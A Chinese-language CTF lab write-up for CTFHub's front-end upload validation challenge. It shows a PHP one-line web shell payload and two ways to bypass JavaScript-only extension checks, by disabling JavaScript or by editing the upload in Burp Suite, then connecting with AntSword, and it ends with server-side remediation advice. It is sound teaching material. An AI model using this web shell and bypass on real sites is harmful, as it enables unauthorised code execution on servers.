CTFHub | 前端验证

╰+哭是因爲堅強的太久メ 2024-03-26 13:23 50阅读 0赞

#### 0x00 前言 ####

CTFHub 专注网络安全、信息安全、白帽子技术的在线学习，实训平台。提供优质的赛事及学习服务，拥有完善的题目环境及配套 writeup ，降低 CTF 学习入门门槛，快速帮助选手成长，跟随主流比赛潮流。

#### 0x01 题目描述 ####

> **前端验证：**
> 
> （无）

![c09e453adb074d219c87e8462f637e71.png][] 网页显示内容

#### 0x02 解题过程 ####

> 前端验证是通过对客户端输入数据的合法性进行检查来确保数据是有效且安全的。通常，它会通过一系列简单的规则，如长度检查、格式检查、正则表达式匹配等，验证用户输入是否符合要求，以提高应用程序的安全性和可用性。

**0x1 方法一：****禁用浏览器JavaScript**

**Ⅰ**这里以火狐浏览器为例，首先需要在浏览器地址栏输入about:config并按回车

![cf1592fc517040e18126f70909be66df.png][]

about:config

**Ⅱ**点击接受风险并继续后进入高级首选项搜索框界面

![b845bdda5a524ebda896ca02d54ed1c4.png][]

**Ⅲ**在高级首选项搜索框界面中搜索javascript.enabled，点击转换按钮将true值切换为false

![9e24c4f0b63e4a598e0d30f2302b24e4.png][]

javascript.enabled

**Ⅳ**true值改为false后，重新打开网页URL

![4f7af700833d4561904c3725d957f8a9.png][]

**Ⅴ**编写payload

![11357c72b38146c3a9391a815f3b9bb8.png][]

<?php @eval($_POST['CTFhub']);?>

**Ⅵ**在网页中上传编写好的一句话木马

![674c57c62f1f4eb3a4d7cbecc454b130.png][]

**Ⅶ**打开蚁剑进行连接并添加到数据中

![c15e89c61aa044f0897f5e3d4765f3f9.png][]

**Ⅷ**检查网页目录，发现此题flag

![0b39e8c7a78849e988615459eaf932a6.png][]

**0x2 方法二： Burpsuite抓包**

**Ⅰ**使用ChatGPT对URL网页做一个简单的代码审计，根据ChatGPT的提示，发现此代码只做了前端验证，并未上传到服务器中，那么此题的思路可以是绕过前端验证。因为在代码部分白名单中仅有.jpg、.png、.gif文件。没有做太多的过滤。

![874d415015b94c598dba7b534d9afd7c.png][]

<!DOCTYPE html>
    <html>
    <head>
        <meta charset="UTF-8">
        <title>CTFHub 文件上传 - js前端验证</title>
    </head>
    <body>
        <h1>CTFHub 文件上传 - js前端验证</h1>
        <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
            <label for="file">Filename:</label>
            <input type="file" name="file" id="file" />
            <br />
            <input type="submit" name="submit" value="Submit" />
        </form>
    <script>
    function checkfilesuffix()
    {
        var file=document.getElementsByName('file')[0]['value'];
        if(file==""||file==null)
        {
            alert("请添加上传文件");
            return false;
        }
        else
        {
            var whitelist=new Array(".jpg",".png",".gif");
            var file_suffix=file.substring(file.lastIndexOf("."));
            if(whitelist.indexOf(file_suffix) == -1)
            {
                alert("该文件不允许上传");
                return false;
            }
        }
    }
    </script>
    </body>
    </html>

**Ⅱ**上传一个伪装成白名单的文件绕过前端验证

![bb55fb258e7345d4b2f5c8e3e660c6cc.png][]

**Ⅲ**上传成功后使用Burpsutie抓包工具进行抓包

![078816e9ba934eddb955bc3ec1e3613b.png][]

**Ⅳ**修改抓取到的数据，将上传的一句话木马文件重新改为shell.php文件

![3d10dbd0cacc469daff83733205507b5.png][]

**Ⅴ**传入木马数据成功后使用蚁剑连接

![86fd51c6b29544b49608d30e7e1d2022.png][]

**Ⅵ**检查网页目录，发现此题flag

![bfe139c8b26e4129854c7b26f85ffb5f.png][]

#### **0x03 修复建议** ####

> \[1\].在服务器端对上传的文件进行验证，以确保上传的文件是被允许的类型，并且不包含恶意代码。
> 
> \[2\].不要仅仅依赖文件后缀名来验证文件类型，最好通过解析文件头或使用其他方法来确保上传的文件是被允许的类型。
> 
> \[3\].在使用 innerHTML 时，最好使用 DOM 操作而不是字符串操作，这样可以避免 XSS 攻击。
> 
> \[4\].在使用表单时，最好将 action 属性设置为表单处理程序的 URL，并使用 CSRF 令牌防止 CSRF 攻击。
> 
> \[5\].确保使用一致的变量名称，以使代码更易于阅读和理解。

#### **0x04 总结** ####

文章内容为学习记录的笔记，由于作者水平有限，文中若有错误与不足欢迎留言，便于及时更正。

[c09e453adb074d219c87e8462f637e71.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/97b773da8339470ba75194972ee1ef72.png
[cf1592fc517040e18126f70909be66df.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/a0f6159a0a764f36967e87a93ce57424.png
[b845bdda5a524ebda896ca02d54ed1c4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/90d9bbffbd6f461bb61fdebd366d6110.png
[9e24c4f0b63e4a598e0d30f2302b24e4.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/251e47935ddd4e9aa28bdb04a4e17fbc.png
[4f7af700833d4561904c3725d957f8a9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/af8719b2e52642948f7451f58bb1e441.png
[11357c72b38146c3a9391a815f3b9bb8.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/7a1e69f4c8e14d80ac59017b27897c95.png
[674c57c62f1f4eb3a4d7cbecc454b130.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/b9d02a11c60942da9072e8881f7984b2.png
[c15e89c61aa044f0897f5e3d4765f3f9.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/784c22baf2f6449fa2047a109110eae9.png
[0b39e8c7a78849e988615459eaf932a6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/b2b2567e7f4c4f5b9253062aa4de9a3b.png
[874d415015b94c598dba7b534d9afd7c.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/c1e7cba0db9549a1b0021cdf498dcf81.png
[bb55fb258e7345d4b2f5c8e3e660c6cc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/508092eb2a9f4d0cb7013992d8ffe53a.png
[078816e9ba934eddb955bc3ec1e3613b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/f3e5b94421904974ade3b939ca5c1549.png
[3d10dbd0cacc469daff83733205507b5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/763af5cd35164ee7aa3fdedade1eddc3.png
[86fd51c6b29544b49608d30e7e1d2022.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/aa3345cb4a284891a7498958ea9106d9.png
[bfe139c8b26e4129854c7b26f85ffb5f.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/26/6e175e4b5ccd42ff9d36af5233867c03.png